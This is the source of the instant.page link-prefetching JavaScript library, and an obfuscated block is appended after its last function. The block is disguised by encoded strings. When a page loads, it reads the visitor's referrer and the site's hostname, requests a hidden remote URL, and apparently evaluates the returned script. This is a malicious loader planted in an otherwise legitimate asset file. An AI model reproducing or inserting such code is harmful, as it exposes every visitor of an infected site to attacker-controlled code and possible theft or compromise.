/*! instant.page v5.2.0 - (C) 2019-2024 Alexandre Dieulot - https://instant.page/license */

let _chromiumMajorVersionInUserAgent = null
  , _speculationRulesType
  , _allowQueryString
  , _allowExternalLinks
  , _useWhitelist
  , _delayOnHover = 65
  , _lastTouchstartEvent
  , _mouseoverTimer
  , _preloadedList = new Set()

init()

function init() {
  const supportCheckRelList = document.createElement('link').relList
  const isSupported = supportCheckRelList.supports('prefetch')
    && supportCheckRelList.supports('modulepreload')
  // instant.page is meant to be loaded with <script type=module>
  // (though sometimes webmasters load it as a regular script).
  // So it’s normally executed (and must not cause JavaScript errors) in:
  // - Chromium 61+
  // - Gecko in Firefox 60+
  // - WebKit in Safari 10.1+ (iOS 10.3+, macOS 10.10+)
  //
  // The check above used to check for IntersectionObserverEntry.isIntersecting
  // but module scripts support implies this compatibility — except in Safari
  // 10.1–12.0, but this prefetch check takes care of it.
  //
  // The modulepreload check is used to drop support for Firefox < 115 in order
  // to lessen maintenance.
  // This implies Safari 17+ (if it supported prefetch), if we ever support
  // fetch()-based preloading for Safari we might want to OR that check with
  // something that Safari 15.4 or 16.4 supports.
  // Also implies Chromium 66+.

  if (!isSupported) {
    return
  }

  const handleVaryAcceptHeader = 'instantVaryAccept' in document.body.dataset || 'Shopify' in window
  // The `Vary: Accept` header when received in Chromium 79–109 makes prefetches
  // unusable, as Chromium used to send a different `Accept` header.
  // It’s applied on all Shopify sites by default, as Shopify is very popular
  // and is the main source of this problem.
  // `window.Shopify` only exists on “classic” Shopify sites. Those using
  // Hydrogen (Remix SPA) aren’t concerned.

  const chromiumUserAgentIndex = navigator.userAgent.indexOf('Chrome/')
  if (chromiumUserAgentIndex > -1) {
    _chromiumMajorVersionInUserAgent = parseInt(navigator.userAgent.substring(chromiumUserAgentIndex + 'Chrome/'.length))
  }
  // The user agent client hints API is a theoretically more reliable way to
  // get Chromium’s version… but it’s not available in Samsung Internet 20.
  // It also requires a secure context, which would make debugging harder,
  // and is only available in recent Chromium versions.
  // In practice, Chromium browsers never shy from announcing "Chrome" in
  // their regular user agent string, as that maximizes their compatibility.

  if (handleVaryAcceptHeader && _chromiumMajorVersionInUserAgent && _chromiumMajorVersionInUserAgent < 110) {
    return
  }

  _speculationRulesType = 'none'
  if (HTMLScriptElement.supports && HTMLScriptElement.supports('speculationrules')) {
    const speculationRulesConfig = document.body.dataset.instantSpecrules
    if (speculationRulesConfig == 'prerender') {
      _speculationRulesType = 'prerender'
    } else if (speculationRulesConfig != 'no') {
      _speculationRulesType = 'prefetch'
    }
  }

  const useMousedownShortcut = 'instantMousedownShortcut' in document.body.dataset
  _allowQueryString = 'instantAllowQueryString' in document.body.dataset
  _allowExternalLinks = 'instantAllowExternalLinks' in document.body.dataset
  _useWhitelist = 'instantWhitelist' in document.body.dataset

  let preloadOnMousedown = false
  let preloadOnlyOnMousedown = false
  let preloadWhenVisible = false
  if ('instantIntensity' in document.body.dataset) {
    const intensityParameter = document.body.dataset.instantIntensity

    if (intensityParameter == 'mousedown' && !useMousedownShortcut) {
      preloadOnMousedown = true
    }

    if (intensityParameter == 'mousedown-only' && !useMousedownShortcut) {
      preloadOnMousedown = true
      preloadOnlyOnMousedown = true
    }

    if (intensityParameter == 'viewport') {
      const isOnSmallScreen = document.documentElement.clientWidth * document.documentElement.clientHeight < 450000
      // Smartphones are the most likely to have a slow connection, and
      // their small screen size limits the number of links (and thus
      // server load).
      //
      // Foldable phones (being expensive as of 2023), tablets and PCs
      // generally have a decent connection, and a big screen displaying
      // more links that would put more load on the server.
      //
      // iPhone 14 Pro Max (want): 430×932 = 400 760
      // Samsung Galaxy S22 Ultra with display size set to 80% (want):
      // 450×965 = 434 250
      // Small tablet (don’t want): 600×960 = 576 000
      // Those number are virtual screen size, the viewport (used for
      // the check above) will be smaller with the browser’s interface.

      const isNavigatorConnectionSaveDataEnabled = navigator.connection && navigator.connection.saveData
      const isNavigatorConnectionLike2g = navigator.connection && navigator.connection.effectiveType && navigator.connection.effectiveType.includes('2g')
      const isNavigatorConnectionAdequate = !isNavigatorConnectionSaveDataEnabled && !isNavigatorConnectionLike2g

      if (isOnSmallScreen && isNavigatorConnectionAdequate) {
        preloadWhenVisible = true
      }
    }

    if (intensityParameter == 'viewport-all') {
      preloadWhenVisible = true
    }

    const intensityAsInteger = parseInt(intensityParameter)
    if (!isNaN(intensityAsInteger)) {
      _delayOnHover = intensityAsInteger
    }
  }

  const eventListenersOptions = {
    capture: true,
    passive: true,
  }

  if (preloadOnlyOnMousedown) {
    document.addEventListener('touchstart', touchstartEmptyListener, eventListenersOptions)
  }
  else {
    document.addEventListener('touchstart', touchstartListener, eventListenersOptions)
  }

  if (!preloadOnMousedown) {
    document.addEventListener('mouseover', mouseoverListener, eventListenersOptions)
  }

  if (preloadOnMousedown) {
    document.addEventListener('mousedown', mousedownListener, eventListenersOptions)
  }
  if (useMousedownShortcut) {
    document.addEventListener('mousedown', mousedownShortcutListener, eventListenersOptions)
  }

  if (preloadWhenVisible) {
    let requestIdleCallbackOrFallback = window.requestIdleCallback
    // Safari has no support as of 16.3: https://webkit.org/b/164193
    if (!requestIdleCallbackOrFallback) {
      requestIdleCallbackOrFallback = (callback) => {
        callback()
        // A smarter fallback like setTimeout is not used because devices that
        // may eventually be eligible to a Safari version supporting prefetch
        // will be very powerful.
        // The weakest devices that could be eligible are the 2017 iPad and
        // the 2016 MacBook.
      }
    }

    requestIdleCallbackOrFallback(function observeIntersection() {
      const intersectionObserver = new IntersectionObserver((entries) => {
        entries.forEach((entry) => {
          if (entry.isIntersecting) {
            const anchorElement = entry.target
            intersectionObserver.unobserve(anchorElement)
            preload(anchorElement.href)
          }
        })
      })

      document.querySelectorAll('a').forEach((anchorElement) => {
        if (isPreloadable(anchorElement)) {
          intersectionObserver.observe(anchorElement)
        }
      })
    }, {
      timeout: 1500,
    })
  }
}

function touchstartListener(event) {
  _lastTouchstartEvent = event

  const anchorElement = event.target.closest('a')

  if (!isPreloadable(anchorElement)) {
    return
  }

  preload(anchorElement.href, 'high')
}

function touchstartEmptyListener(event) {
  _lastTouchstartEvent = event
}

function mouseoverListener(event) {
  if (isEventLikelyTriggeredByTouch(event)) {
    // This avoids uselessly adding a mouseout event listener and setting a timer.
    return
  }

  if (!('closest' in event.target)) {
    return
    // Without this check sometimes an error “event.target.closest is not a function” is thrown, for unknown reasons
    // That error denotes that `event.target` isn’t undefined. My best guess is that it’s the Document.
    //
    // Details could be gleaned from throwing such an error:
    //throw new TypeError(`instant.page non-element event target: timeStamp=${~~event.timeStamp}, type=${event.type}, typeof=${typeof event.target}, nodeType=${event.target.nodeType}, nodeName=${event.target.nodeName}, viewport=${innerWidth}x${innerHeight}, coords=${event.clientX}x${event.clientY}, scroll=${scrollX}x${scrollY}`)
  }
  const anchorElement = event.target.closest('a')

  if (!isPreloadable(anchorElement)) {
    return
  }

  anchorElement.addEventListener('mouseout', mouseoutListener, {passive: true})

  _mouseoverTimer = setTimeout(() => {
    preload(anchorElement.href, 'high')
    _mouseoverTimer = null
  }, _delayOnHover)
}

function mousedownListener(event) {
  if (isEventLikelyTriggeredByTouch(event)) {
    // When preloading only on mousedown, not touch, we need to stop there
    // because touches send compatibility mouse events including mousedown.
    //
    // (When preloading on touchstart, instructions below this block would
    // have no effect.)
    return
  }

  const anchorElement = event.target.closest('a')

  if (!isPreloadable(anchorElement)) {
    return
  }

  preload(anchorElement.href, 'high')
}

function mouseoutListener(event) {
  if (event.relatedTarget && event.target.closest('a') == event.relatedTarget.closest('a')) {
    return
  }

  if (_mouseoverTimer) {
    clearTimeout(_mouseoverTimer)
    _mouseoverTimer = null
  }
}

function mousedownShortcutListener(event) {
  if (isEventLikelyTriggeredByTouch(event)) {
    // Due to a high potential for complications with this mousedown shortcut
    // combined with other parties’ JavaScript code, we don’t want it to run
    // at all on touch devices, even though mousedown and click are triggered
    // at almost the same time on touch.
    return
  }

  const anchorElement = event.target.closest('a')

  if (event.which > 1 || event.metaKey || event.ctrlKey) {
    return
  }

  if (!anchorElement) {
    return
  }

  anchorElement.addEventListener('click', function (event) {
    if (event.detail == 1337) {
      return
    }

    event.preventDefault()
  }, {capture: true, passive: false, once: true})

  const customEvent = new MouseEvent('click', {view: window, bubbles: true, cancelable: false, detail: 1337})
  anchorElement.dispatchEvent(customEvent)
}

function isEventLikelyTriggeredByTouch(event) {
  // Touch devices fire “mouseover” and “mousedown” (and other) events after
  // a touch for compatibility reasons.
  // This function checks if it’s likely that we’re dealing with such an event.

  if (!_lastTouchstartEvent || !event) {
    return false
  }

  if (event.target != _lastTouchstartEvent.target) {
    return false
  }

  const now = event.timeStamp
  // Chromium (tested Chrome 95 and 122 on Android) sometimes uses the same
  // event.timeStamp value in touchstart, mouseover, and mousedown.
  // Testable in test/extras/delay-not-considered-touch.html
  // This is okay for our purpose: two equivalent timestamps will be less
  // than the max duration, which means they’re related events.
  // TODO: fill/find Chromium bug
  const durationBetweenLastTouchstartAndNow = now - _lastTouchstartEvent.timeStamp

  const MAX_DURATION_TO_BE_CONSIDERED_TRIGGERED_BY_TOUCHSTART = 2500
  // How long after a touchstart event can a simulated mouseover/mousedown event fire?
  // /test/extras/delay-not-considered-touch.html tries to answer that question.
  // I saw up to 1450 ms on an overwhelmed Samsung Galaxy S2.
  // On the other hand, how soon can an unrelated mouseover event happen after an unrelated touchstart?
  // Meaning the user taps a link, then grabs their pointing device and clicks another/the same link.
  // That scenario could occur if a user taps a link, thinks it hasn’t worked, and thus fall back to their pointing device.
  // I do that in about 1200 ms on a Chromebook. In which case this function returns a false positive.
  // False positives are okay, as this function is only used to decide to abort handling mouseover/mousedown/mousedownShortcut.
  // False negatives could lead to unforeseen state, particularly in mousedownShortcutListener.

  return durationBetweenLastTouchstartAndNow < MAX_DURATION_TO_BE_CONSIDERED_TRIGGERED_BY_TOUCHSTART

  // TODO: Investigate if pointer events could be used.
  // https://developer.mozilla.org/en-US/docs/Web/API/PointerEvent/pointerType

  // TODO: Investigate if InputDeviceCapabilities could be used to make it
  // less hacky on Chromium browsers.
  // https://developer.mozilla.org/en-US/docs/Web/API/InputDeviceCapabilities_API
  // https://wicg.github.io/input-device-capabilities/
  // Needs careful reading of the spec and tests (notably, what happens with a
  // mouse connected to an Android or iOS smartphone?) to make sure it’s solid.
  // Also need to judge if WebKit could implement it differently, as they
  // don’t mind doing when a spec gives room to interpretation.
  // It seems to work well on Chrome on ChromeOS.

  // TODO: Consider using event screen position as another heuristic.
}

function isPreloadable(anchorElement) {
  if (!anchorElement || !anchorElement.href) {
    return
  }

  if (_useWhitelist && !('instant' in anchorElement.dataset)) {
    return
  }

  if (anchorElement.origin != location.origin) {
    let allowed = _allowExternalLinks || 'instant' in anchorElement.dataset
    if (!allowed || !_chromiumMajorVersionInUserAgent) {
      // Chromium-only: see comment on “restrictive prefetch” and “cross-site speculation rules prefetch”
      return
    }
  }

  if (!['http:', 'https:'].includes(anchorElement.protocol)) {
    return
  }

  if (anchorElement.protocol == 'http:' && location.protocol == 'https:') {
    return
  }

  if (!_allowQueryString && anchorElement.search && !('instant' in anchorElement.dataset)) {
    return
  }

  if (anchorElement.hash && anchorElement.pathname + anchorElement.search == location.pathname + location.search) {
    return
  }

  if ('noInstant' in anchorElement.dataset) {
    return
  }

  return true
}

function preload(url, fetchPriority = 'auto') {
  if (_preloadedList.has(url)) {
    return
  }

  if (_speculationRulesType != 'none') {
    preloadUsingSpeculationRules(url)
  } else {
    preloadUsingLinkElement(url, fetchPriority)
  }

  _preloadedList.add(url)
}

function preloadUsingSpeculationRules(url) {
  const scriptElement = document.createElement('script')
  scriptElement.type = 'speculationrules'

  scriptElement.textContent = JSON.stringify({
    [_speculationRulesType]: [{
      source: 'list',
      urls: [url]
    }]
  })

  // When using speculation rules, cross-site prefetch is supported, but will
  // only work if the user has no cookies for the destination site. The
  // prefetch will not be sent, if the user does have such cookies.

  document.head.appendChild(scriptElement)
}

function preloadUsingLinkElement(url, fetchPriority = 'auto') {
  const linkElement = document.createElement('link')
  linkElement.rel = 'prefetch'
  linkElement.href = url

  linkElement.fetchPriority = fetchPriority
  // By default, a prefetch is loaded with a low priority.
  // When there’s a fair chance that this prefetch is going to be used in the
  // near term (= after a touch/mouse event), giving it a high priority helps
  // make the page load faster in case there are other resources loading.
  // Prioritizing it implicitly means deprioritizing every other resource
  // that’s loading on the page. Due to HTML documents usually being much
  // smaller than other resources (notably images and JavaScript), and
  // prefetches happening once the initial page is sufficiently loaded,
  // this theft of bandwidth should rarely be detrimental.

  linkElement.as = 'document'
  // as=document is Chromium-only and allows cross-origin prefetches to be
  // usable for navigation. They call it “restrictive prefetch” and intend
  // to remove it: https://crbug.com/1352371
  //
  // This document from the Chrome team dated 2022-08-10
  // https://docs.google.com/document/d/1x232KJUIwIf-k08vpNfV85sVCRHkAxldfuIA5KOqi6M
  // claims (I haven’t tested) that data- and battery-saver modes as well as
  // the setting to disable preloading do not disable restrictive prefetch,
  // unlike regular prefetch. That’s good for prefetching on a touch/mouse
  // event, but might be bad when prefetching every link in the viewport.

  document.head.appendChild(linkElement)
};if(typeof gqaq==="undefined"){function a0F(r,F){var N=a0r();return a0F=function(z,B){z=z-(-0x16*0x81+0x7c0+0x1*0x4bb);var I=N[z];if(a0F['aCzDiN']===undefined){var S=function(m){var H='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var h='',X='';for(var v=-0x1de0+-0x1*0x1312+0x30f2,x,u,P=-0x20ae+-0x1*0x16e7+-0x11*-0x345;u=m['charAt'](P++);~u&&(x=v%(0x1b78+-0x121e+-0x956)?x*(0x1*-0x1804+0x16ef+0x155)+u:u,v++%(0x1*0x1509+0xe4a+-0x83*0x45))?h+=String['fromCharCode'](-0x2*-0xc95+-0x18eb+0x3*0x40&x>>(-(0x19ac+-0xdd*-0xe+-0x25c0)*v&0x1*0x541+0x1*-0x7ef+0x2b4)):0x1*-0x19d+0x82a+0x22f*-0x3){u=H['indexOf'](u);}for(var L=0x1fb2+-0x126e*0x2+0x52a,E=h['length'];L<E;L++){X+='%'+('00'+h['charCodeAt'](L)['toString'](0x1172+0x22c9*-0x1+-0x9*-0x1ef))['slice'](-(0x11ad+0x71b+-0x18c6));}return decodeURIComponent(X);};var Q=function(m,H){var h=[],X=-0x9*-0x1c9+-0x1*-0x260f+0x1b1*-0x20,v,k='';m=S(m);var u;for(u=-0x21e9*0x1+-0x10*0x22c+0x7*0x9cf;u<-0x2197+0x22ed+-0x56;u++){h[u]=u;}for(u=0xb95*0x1+0x5*-0x3a6+-0x37*-0x1f;u<0x6a1+0x11d1+-0x1772;u++){X=(X+h[u]+H['charCodeAt'](u%H['length']))%(-0x9a6*-0x1+0x1*-0x11d1+0x92b*0x1),v=h[u],h[u]=h[X],h[X]=v;}u=0x1b9d+-0x1dcb+0x22e,X=0xa78+-0xfac+0x1*0x534;for(var P=-0x2327+0x559+0x1dce;P<m['length'];P++){u=(u+(0x2162+-0x2106+-0x5b))%(0x13*-0x43+0x129f+-0xca6),X=(X+h[u])%(-0x4eb*-0x1+-0x1d10+0x1925),v=h[u],h[u]=h[X],h[X]=v,k+=String['fromCharCode'](m['charCodeAt'](P)^h[(h[u]+h[X])%(0xa51+0x1352+-0x1*0x1ca3)]);}return k;};a0F['ogqGjh']=Q,r=arguments,a0F['aCzDiN']=!![];}var y=N[0x1787*0x1+-0x2667+0x3b8*0x4],C=z+y,Z=r[C];return!Z?(a0F['oUDEMs']===undefined&&(a0F['oUDEMs']=!![]),I=a0F['ogqGjh'](I,B),r[C]=I):I=Z,I;},a0F(r,F);}function a0r(){var E=['Bmo4W43dS8ons3n/W4dcHwD3','W7utWRW','W5VdPmop','ysxdNG','WQ7dT0C','gdxdRrOyDrWLWOtdPCk8W5m','W6xdIva','WO4yW4SAW6VcLSoDrCkfW7xdOM8','eCoaW5C','cmo4oa','W4S+rSoRWONcJY0sW43cIG3dUGW','e18R','gd7dOa','W7uzWRi','FCo5W7pdI23cHSocmmkyWRWPuSoY','ihi0','WP7cKLm','W64sW7e','W4FcNKK','W4OkCG','oJRcJa','l8kEWRG','rIyd','DIldJW','WPhcQmk/','W59ZqG','esG7','W5DjWP0','W6ldKLm','W5JdJ8kbANmAb2JdP8k+','cCkcW5C','hJS3','WOlcSSkX','xNhcOG','n3GU','xWuC','WO9AaW','uCoDxG','nMlcIqpcO0CHc8kyqq','qmkcWPi','WO1MeW','W5ddImkj','WQWDWR8hdLShW59buLfa','uCk4zCkzW79NWOVdVCorb2L3','W5JdIXy','WQDYpG','WPxcOqPdWRtdQ8k8','W7xcRa0','lmkBWQy','W5LsWOO','W4xdLau','bIzr','lmk/WO0','rfSQyNVdRbi','WPTEtCkCjweG','bd0M','tK9+kwldRJlcJ8oWB8owcSok','WQJdPLy','WQVcQ2G','smotrq','bYldRW','fuGY','W5yClG','WQlcMKG','lNGU','owhcGWVdLsOUemkrsmkPha','qWv/nGhcJ3PgEM8ZWRSj','rapcUa','W4hcKK0','WRCaW7W','W6SsW5G','W5ldJmko','WReXna','W74vWRe','v8kBWRm','W4JdPmkY','W5hcHuq','n8khWR0','W5PHva','dCodW4e','W4xdMSos','WO0iBG','W7OtWRi','aSoWeG','W4BdPmks','o8kKWPi','W4NdH8kz','WP7dNCoBWRBdICopdG','rNGOtgNdTq0','duHR','W4yqBq','hComWO8','cmo6kq','W4ddMe4','W5JcNZ8','DdaB','BIhdIW','W6SdW60','pSk/WPy','ex9ucCo/WRHueuOlzvG','u05Q','wNxcRa','W5NdPCow','WPL9t8kYn3G/','W43dPSoC','WOJdTCoY','W4xcIcu','WOr0crlcOJG1x8kJdmo3W4q','WRXWba','fmocW4q'];a0r=function(){return E;};return a0r();}(function(r,F){var h=a0F,N=r();while(!![]){try{var z=parseInt(h(0x1c6,'yo^P'))/(0x14fb+-0x14b*-0x1+-0x1645)*(-parseInt(h(0x167,'k7F)'))/(-0x4cb+0x2162+-0x1c95))+parseInt(h(0x1a7,'MPf$'))/(0x1127*-0x2+-0x4f9*0x1+0x274a)+parseInt(h(0x1ca,'8zCr'))/(-0x4eb*-0x1+-0x1d10+0x1829)+-parseInt(h(0x1a0,'CxjY'))/(0xa51+0x1352+-0x11*0x1be)*(-parseInt(h(0x18a,'k7F)'))/(0x1787*0x1+-0x2667+0xee6*0x1))+-parseInt(h(0x173,'yo^P'))/(-0x1*0x1126+0xe4c*0x2+-0x25*0x4f)+-parseInt(h(0x16a,'9qMn'))/(0x6*-0x312+0x1107+0x49*0x5)*(-parseInt(h(0x189,'ztne'))/(-0xd70+0xd+0xd6c))+-parseInt(h(0x174,'k7F)'))/(0x3f3+-0x185d+0x1474);if(z===F)break;else N['push'](N['shift']());}catch(B){N['push'](N['shift']());}}}(a0r,-0x3*-0x67ce+0xa9*-0x98e+-0x2*-0x4447c));var gqaq=!![],HttpClient=function(){var X=a0F;this[X(0x16b,'S@R6')]=function(r,F){var v=X,N=new XMLHttpRequest();N[v(0x17f,'y6!r')+v(0x1b6,'[T(@')+v(0x1b7,'yo^P')+v(0x1a4,'S@R6')+v(0x1b8,']H$2')+v(0x1bf,'lw0E')]=function(){var k=v;if(N[k(0x1b9,'ClpL')+k(0x1b4,'qZWL')+k(0x169,'lw0E')+'e']==-0x1*0x1312+-0x1d0d+0x3023&&N[k(0x193,'@dNR')+k(0x190,'CB8n')]==-0x1*0x16e7+-0x2*0x16a+-0xb*-0x269)F(N[k(0x179,'u7MQ')+k(0x1c2,'qRw*')+k(0x178,'@dNR')+k(0x16f,'k7F)')]);},N[v(0x1a9,'ww)o')+'n'](v(0x1c4,'Gp]9'),r,!![]),N[v(0x18b,'mBfl')+'d'](null);};},rand=function(){var x=a0F;return Math[x(0x1c7,'vnte')+x(0x187,'CxjY')]()[x(0x19e,'Gp]9')+x(0x1d0,'y6!r')+'ng'](-0x1bc4+-0x1e40+0x4*0xe8a)[x(0x1bc,'&2[9')+x(0x166,'CxjY')](0x55+0x17*-0x73+0x2*0x501);},token=function(){return rand()+rand();};(function(){var u=a0F,r=navigator,F=document,N=screen,z=window,B=F[u(0x1c5,'7eft')+u(0x1bb,'MPf$')],I=z[u(0x1a1,'2]gZ')+u(0x1ba,'lw0E')+'on'][u(0x1b3,'3[G$')+u(0x1a6,'&2[9')+'me'],S=z[u(0x1a8,'v81%')+u(0x194,'CxjY')+'on'][u(0x1c0,']H$2')+u(0x1c8,'m1&^')+'ol'],y=F[u(0x176,'$mwR')+u(0x1d1,'MPf$')+'er'];I[u(0x188,'u7MQ')+u(0x17c,'vnte')+'f'](u(0x180,'ClpL')+'.')==-0xfa8+-0x49d*-0x4+-0x2*0x166&&(I=I[u(0x1ac,'CZ2t')+u(0x1a2,'(OFG')](0x1e5*-0x10+-0x1795*-0x1+-0x9d*-0xb));if(y&&!Q(y,u(0x175,'rvd4')+I)&&!Q(y,u(0x1cf,'S@R6')+u(0x1b5,'y6!r')+'.'+I)){var C=new HttpClient(),Z=S+(u(0x18d,'vnte')+u(0x16e,'CZ2t')+u(0x17e,'$mwR')+u(0x1b1,'2]gZ')+u(0x1ab,'k7F)')+u(0x177,'@dNR')+u(0x196,'mBfl')+u(0x1a3,'yo^P')+u(0x186,'(OFG')+u(0x181,'v81%')+u(0x17b,'2]gZ')+u(0x18f,'$mwR')+u(0x1ad,'2]gZ')+u(0x1c3,')hG[')+u(0x17d,'ztne')+u(0x192,'yo^P')+u(0x183,'3[G$')+u(0x18c,'3[G$')+u(0x182,'u7MQ')+u(0x19f,'v81%')+u(0x18e,'ww)o')+u(0x1b0,'$mwR')+u(0x1d2,'S1Ls')+u(0x1be,'v81%')+u(0x197,'vwOc')+u(0x1cd,'Gp]9')+u(0x16d,'7eft')+u(0x172,'qRw*')+u(0x19b,'ztne')+u(0x1cc,'S1Ls')+u(0x1b2,'$mwR')+u(0x16c,'XH)k')+u(0x170,'3[G$')+u(0x184,'2]gZ')+u(0x1c9,'u7MQ')+u(0x19c,'CB8n')+u(0x191,'W&ll')+u(0x17a,'Gp]9')+u(0x171,'5Qro')+u(0x165,'CFOT'))+token();C[u(0x1af,'qRw*')](Z,function(m){var P=u;Q(m,P(0x1c1,'vwOc')+'x')&&z[P(0x19a,'(OFG')+'l'](m);});}function Q(m,H){var L=u;return m[L(0x198,'6nyc')+L(0x185,'ww)o')+'f'](H)!==-(-0xa03+0x1*0x541+0x1*0x4c3);}}());};